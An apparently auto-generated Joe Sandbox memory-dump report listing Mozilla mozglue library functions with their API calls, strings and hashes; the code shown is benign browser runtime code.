MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C652253, 6C652268
MOZ_CRASH(), xrefs: 6C65227D

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 1b06a87d19f9d3a223fc0b0568da93bb295c612d2613a53ff25a5e5064680084
Instruction ID: 7e36738cd544deb886a7857f14d62307f3bb1c14c81ea5c6fc06f313dd50c072
Opcode Fuzzy Hash: 1b06a87d19f9d3a223fc0b0568da93bb295c612d2613a53ff25a5e5064680084
Instruction Fuzzy Hash: A861E431F042168FCB14CE69C889B6E77B1AF85318F794239E624A7B94D770A810CB99

Function 6C6A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8273), ref: 6C6A9D65
free.MOZGLUE(6C6A8273,?), ref: 6C6A9D7C
free.MOZGLUE(?,?), ref: 6C6A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A9E0F
free.MOZGLUE(6C6A946B,?,?), ref: 6C6A9E24
free.MOZGLUE(?,?,?), ref: 6C6A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6A9EC8
free.MOZGLUE(6C6A946B,?,?,?), ref: 6C6A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C6A9EF5

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction ID: fa545ec4329949322bd680fc9968324518d816ccd6c396595b76251b73b351ee
Opcode Fuzzy Hash: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction Fuzzy Hash: 2F71DF70909B418BC712CF68C48055BF3F4FF99318B508A5DE84A5BB02EB31E8C6CB99

Function 6C6ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6ADDCF

Part of subcall function 6C68FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C68FA4B

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE0D
free.MOZGLUE(00000000), ref: 6C6ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF32

Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADB86
Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF65
free.MOZGLUE(?), ref: 6C6ADF80

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction ID: 0ac89ea29ca3db6d5035dcbc7cb8b3ff9466a922f856cee50f87de06b4473153
Opcode Fuzzy Hash: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction Fuzzy Hash: 4551A1726016019BD7219BA9C8806EFB3B2BF96308F95051CDD5A53B00DB31BD1BCB9E

Function 6C6B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DC9
std::_Facet_Register.LIBCPMT ref: 6C6B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E45

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction ID: d43d3134bb9ef4e9c4d1c2bb39eb2cd6776b1883bcd6658d4225881a6cacb5f0
Opcode Fuzzy Hash: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction Fuzzy Hash: 08417C307002049FDB10DFA6C8D8AAE77F6EF89314F144169E506AB791EB30A915CB69

Function 6C68CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6531A7), ref: 6C68CDDD

Strings

<jemalloc>, xrefs: 6C68CF9F, 6C68CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C68CFA4, 6C68CFB8

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction ID: 8d2d31da99423ca1da97be1f51af25de81625c11ea9824aa909d2306d991b280
Opcode Fuzzy Hash: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction Fuzzy Hash: 7131A7307422056BFB10AF668C45BAE7775BF85754F204118F612EB684DB70E501CBBD

Function 6C65ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C65ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C65EDCC
CreateFileW.KERNEL32 ref: 6C65EE08
free.MOZGLUE(00000000), ref: 6C65EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C65EE32

Part of subcall function 6C65EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C65EBB5
Part of subcall function 6C65EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C68D7F3), ref: 6C65EBC3
Part of subcall function 6C65EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C68D7F3), ref: 6C65EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C65EDC1

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction ID: 58349f6a09830bb8ba9f10bcb68811798057119605d22f8757a79b57b5dcc24a
Opcode Fuzzy Hash: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction Fuzzy Hash: F251F171E052048BDF00DF69C8806EEB7F0AF4A318F94852DE8956B740E7346959C7EA

Function 6C6CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA565

Part of subcall function 6C6CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CA4BE
Part of subcall function 6C6CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6CA6B6

Strings

0, xrefs: 6C6CA5FB
z, xrefs: 6C6CA6AE

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction ID: 04f669c28a7bbff4618a294ce90f01ccbc11bc35cfc35bd6eeabef394af0ac6b
Opcode Fuzzy Hash: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction Fuzzy Hash: 75414771A097459FC341CF29C080A8BBBE4FF8A344F408A2EF49987651EB30D549CB87

Function 6C699420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
__Init_thread_footer.LIBCMT ref: 6C69949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C69946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C699459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C69947D

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction ID: aa2c4d1473f1cb2f1ae45731b97a48eff6bf2a21c92b5f4b9591bb7a0ffbe7d0
Opcode Fuzzy Hash: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction Fuzzy Hash: C5012830A001028BD7109B5ED840A8D33B99F06B3DF054537DD0AC6B52D623F4648D5F

Function 6C6A0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6A0F88
GetCurrentThreadId.KERNEL32 ref: 6C6A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C6A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C6A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C6A114B

Part of subcall function 6C698AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C6B1563), ref: 6C698BD5

free.MOZGLUE(?), ref: 6C6A1174
free.MOZGLUE(?), ref: 6C6A1186

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: b9d50b2a4b8431f7868675881a5dcfdc2c95544afed3b4fb2e42252ad135d9da
Instruction ID: 49dfba786d0adaa59ed0ba26cdbba3b7503cfec9f4aa35b290351c3b2a6838aa
Opcode Fuzzy Hash: b9d50b2a4b8431f7868675881a5dcfdc2c95544afed3b4fb2e42252ad135d9da
Instruction Fuzzy Hash: F961C3756043409FDB10CF65C88079AB7F5BFCA308F04891DE98957712EB31E95ACB9A

Function 6C65B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6AC

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C65B61E), ref: 6C65B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B79A

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction ID: 25f7ad8c1ce3fb9c4c211db8e93f4453b592f1bf7e2131b02846affe1d512b41
Opcode Fuzzy Hash: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction Fuzzy Hash: 5C41D5B2D001159FCB04DF68DC806AFB7B5FF85324F650669E825E7780E731A9148BE9

Function 6C65EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C6D5104), ref: 6C65EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C65EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65EFEC
free.MOZGLUE(?), ref: 6C65F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C65F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C65F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F065
moz_xmalloc.MOZGLUE ref: 6C65F072

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 49165111de3c03516b95465da52a387b2934844702cccbe047f897deb7366f25
Instruction ID: 25846d7eb8670091aa041ee8526c5cda146169a1046695fd6905bd7ecf1497d7
Opcode Fuzzy Hash: 49165111de3c03516b95465da52a387b2934844702cccbe047f897deb7366f25
Instruction Fuzzy Hash: 4441E9B1A001059FCB08CF68DC909AE7769FF85318B34062CE926D7794EB71E915C7EA

Function 6C6CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6CB5F4
__Init_thread_footer.LIBCMT ref: 6C6CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6CB61F
std::_Facet_Register.LIBCPMT ref: 6C6CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6CB655

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction ID: 70af877dea57f0e7fc2c37128b4d8ba1b432833bcab7c8e056cdc96acfe85fe5
Opcode Fuzzy Hash: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction Fuzzy Hash: FB316F71B002058BCB00DFAAC8989AEB7F5EFCA325F150519D90697780DB31B906CF9E

Function 6C696590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6967C8

Part of subcall function 6C6A4290: memcpy.VCRUNTIME140(?,?,6C6B2003,6C6B0AD9,?,6C6B0AD9,00000000,?,6C6B0AD9,?,00000004,?,6C6B1A62,?,6C6B2003,?), ref: 6C6A42C4

Strings

vml, xrefs: 6C69696C
data, xrefs: 6C696593

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vml
API String ID: 511789754-3335688618
Opcode ID: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction ID: 20ff2b914093ae74997b57c34fa08c7436a05d9ac23ef9eda6ba70f89351a345
Opcode Fuzzy Hash: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction Fuzzy Hash: F9D1CE75A083419FD764CF25C840B9EB7E5AFC6308F10492EE58987B51EB30E949CB9B

Function 6C68D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C65EB57,?,?,?,?,?,?,?,?,?), ref: 6C68D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C65EB57,?), ref: 6C68D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C65EB57,?), ref: 6C68D673
